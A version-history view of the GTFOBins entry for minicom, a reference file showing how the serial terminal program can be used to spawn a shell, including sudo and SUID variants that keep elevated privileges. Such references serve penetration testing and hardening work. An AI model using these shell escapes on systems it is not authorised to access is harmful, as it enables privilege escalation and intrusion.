GTFOBins.github.io/_gtfobins/minicom.md

42 lines
1.4 KiB
Markdown
Raw Normal View History

2023-06-08 20:29:20 +02:00
---
2023-10-21 13:54:23 +02:00
description: Note that in some versions, `Meta-Z` is used in place of `Ctrl-A`.
2023-06-08 20:29:20 +02:00
functions:
shell:
- description: |
2023-10-21 13:43:34 +02:00
Start the following command to open the TUI interface, then:
1. press `Ctrl-A o` and select `Filenames and paths`;
2023-10-21 13:54:23 +02:00
2. press `e`, type `/bin/sh`, then `Enter`;
2023-10-21 13:43:34 +02:00
3. Press `Esc` twice;
4. Press `Ctrl-A k` to drop the shell.
2023-10-21 13:54:23 +02:00
After the shell, exit with `Ctrl-A x`.
2023-10-21 13:43:34 +02:00
code: |
minicom -D /dev/null
2023-10-21 13:55:55 +02:00
- description: |
After the shell, exit with `Ctrl-A x`.
code: |
TF=$(mktemp)
echo "! exec /bin/sh <$(tty) 1>$(tty) 2>$(tty)" >$TF
minicom -D /dev/null -S $TF
reset^J
2023-10-21 13:54:23 +02:00
sudo:
- description: |
Start the following command to open the TUI interface, then:
1. press `Ctrl-A o` and select `Filenames and paths`;
2. press `e`, type `/bin/sh`, then `Enter`;
3. Press `Esc` twice;
4. Press `Ctrl-A k` to drop the shell.
After the shell, exit with `Ctrl-A x`.
code: |
sudo minicom -D /dev/null
suid:
- description: |
Start the following command to open the TUI interface, then:
1. press `Ctrl-A o` and select `Filenames and paths`;
2. press `e`, type `/bin/sh -p`, then `Enter`;
3. Press `Esc` twice;
4. Press `Ctrl-A k` to drop the shell.
After the shell, exit with `Ctrl-A x`.
code: |
./minicom -D /dev/null
2023-06-08 20:29:20 +02:00
---